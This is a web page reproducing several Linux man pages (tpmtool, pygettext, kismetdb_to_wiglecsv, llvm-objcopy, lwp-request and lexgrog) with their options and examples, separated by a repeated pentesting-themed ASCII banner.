Use DER format for output keys. The no-outder form will disable the option.

The output will be in the TPM portable DER format.

SRK has well known password (20 bytes of zeros).

Output version of program and exit. The default mode is `v’, a simple version. The `c’ mode will print copyright information and `n’ will print the full copyright notice.

Display usage information and exit.

Pass the extended usage information through a pager.

EXAMPLES

To generate a key that is to be stored in file system use:

$ tpmtool --generate-rsa --bits 2048 --outfile tpmkey.pem

To generate a key that is to be stored in TPM’s flash use:

$ tpmtool --generate-rsa --bits 2048 --register --user

To get the public key of a TPM key use:

$ tpmtool --pubkey tpmkey:uuid=58ad734b-bde6-45c7-89d8-756a55ad1891;storage=user           --outfile pubkey.pem

or if the key is stored in the file system:

$ tpmtool --pubkey tpmkey:file=tmpkey.pem --outfile pubkey.pem

To list all keys stored in TPM use:

$ tpmtool --list

EXIT STATUS

One of the following exit values will be returned:

Successful program execution.

The operation failed or the command syntax was not valid.

SEE ALSO

p11tool (1), certtool (1)

AUTHORS

COPYRIGHT

Copyright (C) 2020-2023 Free Software Foundation, and others all rights reserved. This program is released under the terms of the GNU General Public License, version 3 or later

BUGS

Please send bug reports to: [email protected]

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1634 - Linux cli command pygettext31

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pygettext31 and provides detailed information about the command pygettext31, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pygettext31.

NAME 🖥️ pygettext31 🖥️

Python equivalent of xgettext(1)

SYNOPSIS

pygettext [OPTIONS] INPUTFILE

DESCRIPTION

pygettext is deprecated. The current version of xgettext supports many languages, including Python.

pygettext uses Python’s standard tokenize module to scan Python source code, generating .pot files identical to what GNU xgettext generates for C and C++ code. From there, the standard GNU tools can be used.

pygettext searches only for _() by default, even though GNU xgettext recognizes the following keywords: gettext, dgettext, dcgettext, and gettext_noop. See the -k/–keyword flag below for how to augment this.

OPTIONS

-a, –extract-all
Extract all strings.

-d, –default-domain=NAME
Rename the default output file from messages.pot to name.pot.

-E, –escape
Replace non-ASCII characters with octal escape sequences.

-D, –docstrings
Extract module, class, method, and function docstrings. These do not need to be wrapped in _() markers, and in fact cannot be for Python to consider them docstrings. (See also the -X option).

-h, –help
Print this help message and exit.

-k, –keyword=WORD
Keywords to look for in addition to the default set, which are: _

You can have multiple -k flags on the command line.

-K, –no-default-keywords
Disable the default set of keywords (see above). Any keywords explicitly added with the -k/–keyword option are still recognized.

–no-location
Do not write filename/lineno location comments.

-n, –add-location
Write filename/lineno location comments indicating where each extracted string is found in the source. These lines appear before each msgid. The style of comments is controlled by the -S/–style option. This is the default.

-o, –output=FILENAME
Rename the default output file from messages.pot to FILENAME. If FILENAME is `-’ then the output is sent to standard out.

-p, –output-dir=DIR
Output files will be placed in directory DIR.

-S, –style=STYLENAME
Specify which style to use for location comments. Two styles are supported:

  • Solaris # File: filename, line: line-number

  • GNU #: filename:line

The style name is case insensitive. GNU style is the default.

-v, –verbose
Print the names of the files being processed.

-V, –version
Print the version of pygettext and exit.

-w, –width=COLUMNS
Set width of output to columns.

-x, –exclude-file=FILENAME
Specify a file that contains a list of strings that are not be extracted from the input files. Each string to be excluded must appear on a line by itself in the file.

-X, –no-docstrings=FILENAME
Specify a file that contains a list of files (one per line) that should not have their docstrings extracted. This is only useful in conjunction with the -D option above.

If `INPUTFILE’ is -, standard input is read.

BUGS

pygettext attempts to be option and feature compatible with GNU xgettext where ever possible. However some options are still missing or are not fully implemented. Also, xgettext’s use of command line switches with option arguments is broken, and in these cases, pygettext just defines additional switches.

AUTHOR

pygettext is written by Barry Warsaw <[email protected]>.

Joonas Paalasmaa <[email protected]> put this manual page together based on “pygettext –help”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1635 - Linux cli command kismetdb_to_wiglecsv

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kismetdb_to_wiglecsv and provides detailed information about the command kismetdb_to_wiglecsv, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kismetdb_to_wiglecsv.

NAME 🖥️ kismetdb_to_wiglecsv 🖥️

simple tool for converting the packet data from a KismetDB log file to the CSV format used by Wigle

SYNOPSIS

kismetdb_to_wiglecsv [OPTION]

OPTIONS

-i, –in [filename]
Input kismetdb file

-o, –out [filename]
Output Wigle CSV file

-f, –force
Force writing to the target file, even if it exists.

-r, –rate-limit [rate]
Limit updated records to one update per [rate] seconds per device

-c, –cache-limit [limit]
Maximum number of device to cache, defaults to 1000.

-v, –verbose
Verbose output

-s, –skip-clean
Don’t clean (sql vacuum) input database

-e, –exclude lat,lon,dist
Exclude records within ‘dist’ *meters* of the lat,lon provided. This can be used to exclude packets close to your home, or other sensitive locations.

SEE ALSO

The full documentation for Kismet is maintained in a separate package kismet-docs. More information here: https://www.kismetwireless.net/docs

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1636 - Linux cli command llvm-objcopy-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-objcopy-16 and provides detailed information about the command llvm-objcopy-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-objcopy-16.

NAME 🖥️ llvm-objcopy-16 🖥️

objcopy - object copying and editing tool

SYNOPSIS

llvm-objcopy [options] input [output]

DESCRIPTION

llvm-objcopy is a tool to copy and manipulate objects. In basic usage, it makes a semantic copy of the input to the output. If any options are specified, the output may be modified along the way, e.g. by removing sections.

If no output file is specified, the input file is modified in-place. If “-” is specified for the input file, the input is read from the program’s standard input stream. If “-” is specified for the output file, the output is written to the standard output stream of the program.

If the input is an archive, any requested operations will be applied to each archive member individually.

The tool is still in active development, but in most scenarios it works as a drop-in replacement for GNU’s objcopy.

GENERIC AND CROSS-PLATFORM OPTIONS

The following options are either agnostic of the file format, or apply to multiple file formats.

–add-gnu-debuglink <debug-file>
Add a .gnu_debuglink section for <debug-file> to the output.

–add-section <section=file>
Add a section named <section> with the contents of <file> to the output. For ELF objects the section will be of type SHT_NOTE, if the name starts with “.note”. Otherwise, it will have type SHT_PROGBITS. Can be specified multiple times to add multiple sections.

For MachO objects, <section> must be formatted as <segment name>,<section name>.

–binary-architecture <arch>, -B
Ignored for compatibility.

–disable-deterministic-archives, -U
Use real values for UIDs, GIDs and timestamps when updating archive member headers.

–discard-all, -x
Remove most local symbols from the output. Different file formats may limit this to a subset of the local symbols. For example, file and section symbols in ELF objects will not be discarded. Additionally, remove all debug sections.

–dump-section <section>=<file>
Dump the contents of section <section> into the file <file>. Can be specified multiple times to dump multiple sections to different files. <file> is unrelated to the input and output files provided to llvm-objcopy and as such the normal copying and editing operations will still be performed. No operations are performed on the sections prior to dumping them.

For MachO objects, <section> must be formatted as <segment name>,<section name>.

–enable-deterministic-archives, -D
Enable deterministic mode when copying archives, i.e. use 0 for archive member header UIDs, GIDs and timestamp fields. On by default.

–help, -h
Print a summary of command line options.

–only-keep-debug
Produce a debug file as the output that only preserves contents of sections useful for debugging purposes.

For ELF objects, this removes the contents of SHF_ALLOC sections that are not SHT_NOTE by making them SHT_NOBITS and shrinking the program headers where possible.

–only-section <section>, -j
Remove all sections from the output, except for sections named <section>. Can be specified multiple times to keep multiple sections.

For MachO objects, <section> must be formatted as <segment name>,<section name>.

–redefine-sym <old>=<new>
Rename symbols called <old> to <new> in the output. Can be specified multiple times to rename multiple symbols.

–redefine-syms <filename>
Rename symbols in the output as described in the file <filename>. In the file, each line represents a single symbol to rename, with the old name and new name separated by whitespace. Leading and trailing whitespace is ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–regex
If specified, symbol and section names specified by other switches are treated as extended POSIX regular expression patterns.

–remove-section <section>, -R
Remove the specified section from the output. Can be specified multiple times to remove multiple sections simultaneously.

For MachO objects, <section> must be formatted as <segment name>,<section name>.

–set-section-alignment <section>=<align>
Set the alignment of section <section> to <align>. Can be specified multiple times to update multiple sections.

–set-section-flags <section>=<flag>[,<flag>,…]
Set section properties in the output of section <section> based on the specified <flag> values. Can be specified multiple times to update multiple sections.

Supported flag names are alloc, load, noload, readonly, exclude, debug, code, data, rom, share, contents, merge and strings. Not all flags are meaningful for all object file formats.

For ELF objects, the flags have the following effects:

  • alloc = add the SHF_ALLOC flag.

  • load = if the section has SHT_NOBITS type, mark it as a SHT_PROGBITS section.

  • readonly = if this flag is not specified, add the SHF_WRITE flag.

  • exclude = add the SHF_EXCLUDE flag.

  • code = add the SHF_EXECINSTR flag.

  • merge = add the SHF_MERGE flag.

  • strings = add the SHF_STRINGS flag.

  • contents = if the section has SHT_NOBITS type, mark it as a SHT_PROGBITS section.

For COFF objects, the flags have the following effects:

  • alloc = add the IMAGE_SCN_CNT_UNINITIALIZED_DATA and IMAGE_SCN_MEM_READ flags, unless the load flag is specified.

  • noload = add the IMAGE_SCN_LNK_REMOVE and IMAGE_SCN_MEM_READ flags.

  • readonly = if this flag is not specified, add the IMAGE_SCN_MEM_WRITE flag.

  • exclude = add the IMAGE_SCN_LNK_REMOVE and IMAGE_SCN_MEM_READ flags.

  • debug = add the IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE and IMAGE_SCN_MEM_READ flags.

  • code = add the IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE and IMAGE_SCN_MEM_READ flags.

  • data = add the IMAGE_SCN_CNT_INITIALIZED_DATA and IMAGE_SCN_MEM_READ flags.

  • share = add the IMAGE_SCN_MEM_SHARED and IMAGE_SCN_MEM_READ flags.

–strip-all-gnu
Remove all symbols, debug sections and relocations from the output. This option is equivalent to GNU objcopy’s –strip-all switch.

–strip-all, -S
For ELF objects, remove from the output all symbols and non-alloc sections not within segments, except for .gnu.warning, .ARM.attribute sections and the section name table.

For COFF and Mach-O objects, remove all symbols, debug sections, and relocations from the output.

–strip-debug, -g
Remove all debug sections from the output.

–strip-symbol <symbol>, -N
Remove all symbols named <symbol> from the output. Can be specified multiple times to remove multiple symbols.

–strip-symbols <filename>
Remove all symbols whose names appear in the file <filename>, from the output. In the file, each line represents a single symbol name, with leading and trailing whitespace ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–strip-unneeded-symbol <symbol>
Remove from the output all symbols named <symbol> that are local or undefined and are not required by any relocation.

–strip-unneeded-symbols <filename>
Remove all symbols whose names appear in the file <filename>, from the output, if they are local or undefined and are not required by any relocation. In the file, each line represents a single symbol name, with leading and trailing whitespace ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–strip-unneeded
Remove from the output all local or undefined symbols that are not required by relocations. Also remove all debug sections.

–update-section <name>=<file>
Replace the contents of the section <name> with contents from the file <file>. If the section <name> is part of a segment, the new contents cannot be larger than the existing section.

–version, -V
Display the version of the llvm-objcopy executable.

–wildcard, -w
Allow wildcard syntax for symbol-related flags. On by default for section-related flags. Incompatible with –regex.

Wildcard syntax allows the following special symbols:

_
CharacterMeaningEquivalent
_
*Any number of characters.*
_
?Any single character.
_
\Escape the next character\
_
[a-z]Character class[a-z]
_
[!a-z], [^a-z]Negated character class[^a-z]
_

Additionally, starting a wildcard with ‘!’ will prevent a match, even if another flag matches. For example -w -N ‘*’ -N ‘!x’ will strip all symbols except for x.

The order of wildcards does not matter. For example, -w -N ‘*’ -N ‘!x’ is the same as -w -N ‘!x’ -N ‘*’.

@<FILE>
Read command-line options and commands from response file <FILE>.

ELF-SPECIFIC OPTIONS

The following options are implemented only for ELF objects. If used with other objects, llvm-objcopy will either emit an error or silently ignore them.

–add-symbol <name>=[<section>:]<value>[,<flags>]
Add a new symbol called <name> to the output symbol table, in the section named <section>, with value <value>. If <section> is not specified, the symbol is added as an absolute symbol. The <flags> affect the symbol properties. Accepted values are:

  • global = the symbol will have global binding.

  • local = the symbol will have local binding.

  • weak = the symbol will have weak binding.

  • default = the symbol will have default visibility.

  • hidden = the symbol will have hidden visibility.

  • protected = the symbol will have protected visibility.

  • file = the symbol will be an STT_FILE symbol.

  • section = the symbol will be an STT_SECTION symbol.

  • object = the symbol will be an STT_OBJECT symbol.

  • function = the symbol will be an STT_FUNC symbol.

  • indirect-function = the symbol will be an STT_GNU_IFUNC symbol.

Additionally, the following flags are accepted but ignored: debug, constructor, warning, indirect, synthetic, unique-object, before.

Can be specified multiple times to add multiple symbols.

–allow-broken-links
Allow llvm-objcopy to remove sections even if it would leave invalid section references. Any invalid sh_link fields will be set to zero.

–change-start <incr>, –adjust-start
Add <incr> to the program’s start address. Can be specified multiple times, in which case the values will be applied cumulatively.

–compress-debug-sections [<format>]
Compress DWARF debug sections in the output, using the specified format. Supported formats are zlib and zstd. Use zlib if <format> is omitted.

–decompress-debug-sections
Decompress any compressed DWARF debug sections in the output.

–discard-locals, -X
Remove local symbols starting with “.L” from the output.

–extract-dwo
Remove all sections that are not DWARF .dwo sections from the output.

–extract-main-partition
Extract the main partition from the output.

–extract-partition <name>
Extract the named partition from the output.

–globalize-symbol <symbol>
Mark any defined symbols named <symbol> as global symbols in the output. Can be specified multiple times to mark multiple symbols.

–globalize-symbols <filename>
Read a list of names from the file <filename> and mark defined symbols with those names as global in the output. In the file, each line represents a single symbol, with leading and trailing whitespace ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–input-target <format>, -I
Read the input as the specified format. See SUPPORTED FORMATS for a list of valid <format> values. If unspecified, llvm-objcopy will attempt to determine the format automatically.

–keep-file-symbols
Keep symbols of type STT_FILE, even if they would otherwise be stripped.

–keep-global-symbol <symbol>, -G
Make all symbols local in the output, except for symbols with the name <symbol>. Can be specified multiple times to ignore multiple symbols.

–keep-global-symbols <filename>
Make all symbols local in the output, except for symbols named in the file <filename>. In the file, each line represents a single symbol, with leading and trailing whitespace ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–keep-section <section>
When removing sections from the output, do not remove sections named <section>. Can be specified multiple times to keep multiple sections.

–keep-symbol <symbol>, -K
When removing symbols from the output, do not remove symbols named <symbol>. Can be specified multiple times to keep multiple symbols.

–keep-symbols <filename>
When removing symbols from the output do not remove symbols named in the file <filename>. In the file, each line represents a single symbol, with leading and trailing whitespace ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–localize-hidden
Make all symbols with hidden or internal visibility local in the output.

–localize-symbol <symbol>, -L
Mark any defined non-common symbol named <symbol> as a local symbol in the output. Can be specified multiple times to mark multiple symbols as local.

–localize-symbols <filename>
Read a list of names from the file <filename> and mark defined non-common symbols with those names as local in the output. In the file, each line represents a single symbol, with leading and trailing whitespace ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–new-symbol-visibility <visibility>
Specify the visibility of the symbols automatically created when using binary input or –add-symbol. Valid options are:

  • default

  • hidden

  • internal

  • protected

The default is default.

–output-target <format>, -O
Write the output as the specified format. See SUPPORTED FORMATS for a list of valid <format> values. If unspecified, the output format is assumed to be the same as the value specified for –input-target or the input file’s format if that option is also unspecified.

–prefix-alloc-sections <prefix>
Add <prefix> to the front of the names of all allocatable sections in the output.

–prefix-symbols <prefix>
Add <prefix> to the front of every symbol name in the output.

–preserve-dates, -p
Preserve access and modification timestamps in the output.

–rename-section <old>=<new>[,<flag>,…]
Rename sections called <old> to <new> in the output, and apply any specified <flag> values. See –set-section-flags for a list of supported flags. Can be specified multiple times to rename multiple sections.

–set-section-type <section>=<type>
Set the type of section <section> to the integer <type>. Can be specified multiple times to update multiple sections.

–set-start-addr <addr>
Set the start address of the output to <addr>. Overrides any previously specified –change-start or –adjust-start options.

–split-dwo <dwo-file>
Equivalent to running llvm-objcopy with –extract-dwo and <dwo-file> as the output file and no other options, and then with –strip-dwo on the input file.

–strip-dwo
Remove all DWARF .dwo sections from the output.

–strip-non-alloc
Remove from the output all non-allocatable sections that are not within segments.

–strip-sections
Remove from the output all section headers and all section data not within segments. Note that many tools will not be able to use an object without section headers.

–target <format>, -F
Equivalent to –input-target and –output-target for the specified format. See SUPPORTED FORMATS for a list of valid <format> values.

–weaken-symbol <symbol>, -W
Mark any global symbol named <symbol> as a weak symbol in the output. Can be specified multiple times to mark multiple symbols as weak.

–weaken-symbols <filename>
Read a list of names from the file <filename> and mark global symbols with those names as weak in the output. In the file, each line represents a single symbol, with leading and trailing whitespace ignored, as is anything following a ‘#’. Can be specified multiple times to read names from multiple files.

–weaken
Mark all defined global symbols as weak in the output.

MACH-O-SPECIFIC OPTIONS

–keep-undefined
Keep undefined symbols, even if they would otherwise be stripped.

COFF-SPECIFIC OPTIONS

–subsystem <name>[:<version>]
Set the PE subsystem, and optionally subsystem version.

SUPPORTED FORMATS

The following values are currently supported by llvm-objcopy for the –input-target, –output-target, and –target options. For GNU objcopy compatibility, the values are all bfdnames.

  • binary

  • ihex

  • elf32-i386

  • elf32-x86-64

  • elf64-x86-64

  • elf32-iamcu

  • elf32-littlearm

  • elf64-aarch64

  • elf64-littleaarch64

  • elf32-littleriscv

  • elf64-littleriscv

  • elf32-powerpc

  • elf32-powerpcle

  • elf64-powerpc

  • elf64-powerpcle

  • elf32-bigmips

  • elf32-ntradbigmips

  • elf32-ntradlittlemips

  • elf32-tradbigmips

  • elf32-tradlittlemips

  • elf64-tradbigmips

  • elf64-tradlittlemips

  • elf32-sparc

  • elf32-sparcel

Additionally, all targets except binary and ihex can have -freebsd as a suffix.

BINARY INPUT AND OUTPUT

If binary is used as the value for –input-target, the input file will be embedded as a data section in an ELF relocatable object, with symbols _binary_<file_name>_start, _binary_<file_name>_end, and _binary_<file_name>_size representing the start, end and size of the data, where <file_name> is the path of the input file as specified on the command line with non-alphanumeric characters converted to _.

If binary is used as the value for –output-target, the output file will be a raw binary file, containing the memory image of the input file. Symbols and relocation information will be discarded. The image will start at the address of the first loadable section in the output.

EXIT STATUS

llvm-objcopy exits with a non-zero exit code if there is an error. Otherwise, it exits with code 0.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/labels/tools:llvm-objcopy/strip/>.

There is a known issue with –input-target and –target causing only binary and ihex formats to have any effect. Other values will be ignored and llvm-objcopy will attempt to guess the input format.

SEE ALSO

llvm-strip(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1637 - Linux cli command lwp-requestp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lwp-requestp and provides detailed information about the command lwp-requestp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lwp-requestp.

NAME 🖥️ lwp-requestp 🖥️

request - Simple command line user agent

SYNOPSIS

lwp-request [-afPuUsSedvhx] [-m method] [-b base URL] [-t timeout] [-i if-modified-since] [-c content-type] [-C credentials] [-p proxy-url] [-o format] url

DESCRIPTION

This program can be used to send requests to WWW servers and your local file system. The request content for POST, PUT and PATCH methods is read from stdin. The content of the response is printed on stdout. Error messages are printed on stderr. The program returns a status value indicating the number of URLs that failed.

The options are:

-m <method>
Set which method to use for the request. If this option is not used, then the method is derived from the name of the program.

-f
Force request through, even if the program believes that the method is illegal. The server might reject the request eventually.

-b <uri>
This URI will be used as the base URI for resolving all relative URIs given as argument.

-t <timeout>
Set the timeout value for the requests. The timeout is the amount of time that the program will wait for a response from the remote server before it fails. The default unit for the timeout value is seconds. You might append “m” or “h” to the timeout value to make it minutes or hours, respectively. The default timeout is ‘3m’, i.e. 3 minutes.

-i <time>
Set the If-Modified-Since header in the request. If time is the name of a file, use the modification timestamp for this file. If time is not a file, it is parsed as a literal date. Take a look at HTTP::Date for recognized formats.

-c <content-type>
Set the Content-Type for the request. This option is only allowed for requests that take a content, i.e. POST, PUT and PATCH. You can force methods to take content by using the -f option together with -c. The default Content-Type for POST is application/x-www-form-urlencoded. The default Content-type for the others is text/plain.

-p <proxy-url>
Set the proxy to be used for the requests. The program also loads proxy settings from the environment. You can disable this with the -P option.

-P
Don’t load proxy settings from environment.

-H <header>
Send this HTTP header with each request. You can specify several, e.g.: lwp-request \ -H Referer: http://other.url/ \ -H Host: somehost \ http://this.url/

-C <username>:<password>
Provide credentials for documents that are protected by Basic Authentication. If the document is protected and you did not specify the username and password with this option, then you will be prompted to provide these values.

The following options controls what is displayed by the program:

-u
Print request method and absolute URL as requests are made.

-U
Print request headers in addition to request method and absolute URL.

-s
Print response status code. This option is always on for HEAD requests.

-S
Print response status chain. This shows redirect and authorization requests that are handled by the library.

-e
Print response headers. This option is always on for HEAD requests.

-E
Print response status chain with full response headers.

-d
Do not print the content of the response.

-o <format>
Process HTML content in various ways before printing it. If the content type of the response is not HTML, then this option has no effect. The legal format values are; text, ps, links, html and dump. If you specify the text format then the HTML will be formatted as plain latin1 text. If you specify the ps format then it will be formatted as Postscript. The links format will output all links found in the HTML document. Relative links will be expanded to absolute ones. The html format will reformat the HTML code and the dump format will just dump the HTML syntax tree. Note that the HTML-Tree distribution needs to be installed for this option to work. In addition the HTML-Format distribution needs to be installed for -o text or -o ps to work.

-v
Print the version number of the program and quit.

-h
Print usage message and quit.

-a
Set text(ascii) mode for content input and output. If this option is not used, content input and output is done in binary mode.

Because this program is implemented using the LWP library, it will only support the protocols that LWP supports.

SEE ALSO

lwp-mirror, LWP

COPYRIGHT

Copyright 1995-1999 Gisle Aas.

This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself.

AUTHOR

Gisle Aas <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1638 - Linux cli command lexgrog

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lexgrog and provides detailed information about the command lexgrog, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lexgrog.

NAME 🖥️ lexgrog 🖥️

parse header information in man pages

SYNOPSIS

lexgrog [ -m | -c ] [ -dfw?V ] [ -E encoding ] file . . .

DESCRIPTION

lexgrog is an implementation of the traditional “groff guess” utility in lex. It reads the list of files on its command line as either man page source files or preformatted “cat” pages, and displays their name and description as used by apropos and whatis, the list of preprocessing filters required by the man page before it is passed to nroff or troff, or both.

If its input is badly formatted, lexgrog will print “parse failed”; this may be useful for external programs that need to check man pages for correctness. If one of lexgrog’s input files is “-”, it will read from standard input; if any input file is compressed, a decompressed version will be read automatically.

OPTIONS

-d, –debug
Print debugging information.

-m, –man
Parse input as man page source files. This is the default if neither –man nor –cat is given.

-c, –cat
Parse input as preformatted man pages (“cat pages”). –man and –cat may not be given simultaneously.

-w, –whatis
Display the name and description from the man page’s header, as used by apropos and whatis. This is the default if neither –whatis nor –filters is given.

-f, –filters
Display the list of filters needed to preprocess the man page before formatting with nroff or troff.

-E encoding, –encoding encoding
Override the guessed character set for the page to encoding.

-?, –help
Print a help message and exit.

–usage
Print a short usage message and exit.

-V, –version
Display version information.

EXIT STATUS

0
Successful program execution.

1
Usage error.

2
lexgrog failed to parse one or more of its input files.

EXAMPLES

  $ lexgrog man.1
  man.1: "man - an interface to the system reference manuals"
  $ lexgrog -fw man.1
  man.1 (t): "man - an interface to the system reference manuals"
  $ lexgrog -c whatis.cat1
  whatis.cat1: "whatis - display manual page descriptions"
  $ lexgrog broken.1
  broken.1: parse failed

WHATIS PARSING

mandb (which uses the same code as lexgrog) parses the NAME section at the top of each manual page looking for names and descriptions of the features documented in each. While the parser is quite tolerant, as it has to cope with a number of different forms that have historically been used, it may sometimes fail to extract the required information.

When using the traditional man macro set, a correct NAME section looks something like this:

.SH NAME foo - program to do something

Some manual pagers require the ‘\’ to be exactly as shown; mandb is more tolerant, but for compatibility with other systems it is nevertheless a good idea to retain the backslash.

On the left-hand side, there may be several names, separated by commas. Names containing whitespace will be ignored to avoid pathological behaviour on certain ill-formed NAME sections. The text on the right-hand side is free-form, and may be spread over multiple lines. If several features with different descriptions are being documented in the same manual page, the following form is therefore used:

.SH NAME foo, bar - programs to do something .br baz - program to do nothing

(A macro which starts a new paragraph, like .PP, may be used instead of the break macro .br.)

When using the BSD-derived mdoc macro set, a correct NAME section looks something like this:

.Sh NAME .Nm foo .Nd program to do something

There are several common reasons why whatis parsing fails. Sometimes authors of manual pages replace ‘.SH NAME’ with ‘.SH MYPROGRAM’, and then mandb cannot find the section from which to extract the information it needs. Sometimes authors include a NAME section, but place free-form text there rather than ‘name \ description’. However, any syntax resembling the above should be accepted.

SEE ALSO

apropos(1), man(1), whatis(1), mandb(8)

NOTES

lexgrog attempts to parse files containing .so requests, but will only be able to do so correctly if the files are properly installed in a manual page hierarchy.

AUTHOR

The code used by lexgrog to scan man pages was written by:

Wilf. ([email protected]).
Fabrizio Polacco ([email protected]).
Colin Watson ([email protected]).

